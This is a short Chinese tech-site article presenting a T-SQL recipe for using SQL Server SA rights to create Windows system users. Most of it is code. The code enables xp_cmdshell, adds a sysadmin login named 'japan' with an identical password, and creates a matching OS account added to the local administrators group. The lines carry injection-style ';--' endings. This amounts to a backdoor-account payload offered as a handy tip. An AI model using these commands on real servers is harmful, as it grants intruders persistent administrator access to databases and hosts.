通过SQL Server SA权限创建系统用户

数据库 SQL Server
如果使用SQL Server SA权限,能否实现创建系统用户呢?答案是肯定的,下面就为您介绍该功能的实现方法,供您参考。

通过SQL Server SA权限,可以实现许多的操作,下面为您介绍的是通过SQL Server SA权限创建系统用户的方法,希望对您学习SQL Server SA权限的使用能有所启迪。

  1. --enabble xp_cmdshell  
  2. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
  3. go  
  4. EXEC sys.sp_configure N'xp_cmdshell', N'1'  
  5. go  
  6. RECONFIGURE WITH OVERRIDE  
  7. go  
  8. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
  9. go  
  10.  
  11. -- Unenable xp_cmdshell  
  12. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
  13. go  
  14. EXEC sys.sp_configure N'xp_cmdshell', N'0'  
  15. go  
  16. RECONFIGURE WITH OVERRIDE  
  17. go  
  18. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
  19. go  
  20.  
  21. -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码  
  22. exec master.dbo.sp_addlogin japan;--     
  23. exec master.dbo.sp_password null,japan,japan;--     
  24. exec master.dbo.sp_addsrvrolemember japan,sysadmin;--     
  25. exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--     
  26. exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--     
  27.  
  28.  

 

 

 

【编辑推荐】

SQL Server SA权限小技巧

SQL数据库操作授权

增加SQL用户名的方法

SQL Server用户权限详解

SQL2000创建角色示例

责任编辑:段燃 来源: 互联网
相关推荐

2010-09-27 15:10:12

SQL Server

2010-11-08 11:30:46

SQL Server

2010-09-27 14:36:24

SQL Server用

2011-04-06 13:04:35

SQL Server 密码修改

2010-09-27 15:36:48

2010-07-05 10:37:00

2010-07-09 12:39:28

SQL Server超

2010-09-08 15:07:24

SQL Server用户操作权限

2010-07-09 12:22:42

SQL Server超

2010-07-26 10:04:43

SQL Server

2010-06-18 13:36:49

SQL Server查

2010-06-18 10:25:49

SQL Server

2021-12-01 08:19:12

SQL Server 数据库Microsoft

2010-09-06 09:53:41

SQL Server语句

2011-07-15 11:02:47

SQL Server 用户权限设置

2010-07-06 09:49:56

SQL Server

2010-07-26 10:39:14

SQL Server

2010-12-24 09:32:43

2010-07-26 10:30:13

SQL Server

2014-01-09 09:35:26

点赞
收藏

51CTO技术栈公众号